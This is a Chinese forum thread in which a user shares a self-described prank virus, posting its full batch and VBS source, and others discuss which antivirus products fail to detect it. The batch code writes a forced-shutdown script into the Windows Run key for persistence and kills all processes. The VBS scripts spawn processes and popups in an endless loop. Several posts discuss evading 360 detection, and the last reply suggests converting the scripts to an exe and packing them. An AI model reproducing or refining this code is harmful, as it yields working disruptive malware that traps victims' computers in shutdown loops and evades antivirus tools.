好有趣的病毒样本，居然只有360能杀

happy_king

5.0版本即将推出啦，欢迎各位提供建议

happy_king

vm001 发表于 2020-6-22 03:23
给vbs内容尾部多加一些空格，360也死翘翘.....

下载4.0版本试试，360也不报毒了

happy_king

川建国代{过}{滤}理人 发表于 2020-6-22 11:16
管家下载all miss 360压缩都报危险 果真只有360报？

麻烦您下载4.0版本试试，360也不报毒了，我改了代码

川建国代理人

happy_king 发表于 2020-6-22 22:07
4.0测试板推出啦，预计明天可以发放，欢迎各位测试者提前测试

管家下载miss 扫描miss 360压缩报安全
火绒扫描miss

川建国代理人

happy_king 发表于 2020-6-23 21:37
麻烦您下载4.0版本试试，360也不报毒了，我改了代码

辅助病毒的bat代码

1. [url=home.php?mod=space&uid=331734]@echo[/url] off
   
2. title Sc_简爱bai
   
3. cls
   
4. mode con: cols=30 lines=4
   
5. echo.@echo off >C:\Sc简爱.bat
   
6. echo.mode con: cols=30 lines=3 >>C:\Sc简爱.bat
   
7. echo.cls >>C:\Sc简爱.bat
   
8. echo.shutdown -f -s -t 0 >>C:\Sc简爱.bat
   
9. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "简爱" /t REG_SZ /d "C:\Sc简爱.bat" >nul
   
10. taskkill /f /fi " pid gt 0"
    

复制代码

4.0的脚本

1. msgbox"你的电脑中了我的恶搞病毒"
   
2. Set WshShell = WScript.CreateObject("WScript.Shell")
   
3. WshShell.Run "请不要运行我，我是辅助病毒运行的插件，解压时要一起解压.bat"
   
4. WshShell.Run "附件-弹窗备用.vbs"
   
5. MsgBox "开始弹窗"
   
6. do
   
7. Set WshShell = WScript.CreateObject("WScript.Shell")
   
8. WshShell.Run "附件-弹窗备用.vbs"
   
9. WshShell.Run "请不要运行我，我是辅助病毒运行的插件，解压时要一起解压.bat"
   
10. loop

复制代码

附件的脚本

1. Set WshShell = WScript.CreateObject("WScript.Shell")
   
2. WshShell.Run "附件-弹窗备用.vbs"
   
3. WshShell.Run "C:\Windows\system32\cmd.exe"
   
4. WshShell.Run "C:\Windows\explorer.exe"
   
5. MsgBox "你的电脑中了我的恶搞病毒，准备蓝屏，你是关不完的"

复制代码

大概能看明白，你这病毒很赞啊，可以把两个vbs和一个bat转成exe，再加个壳试试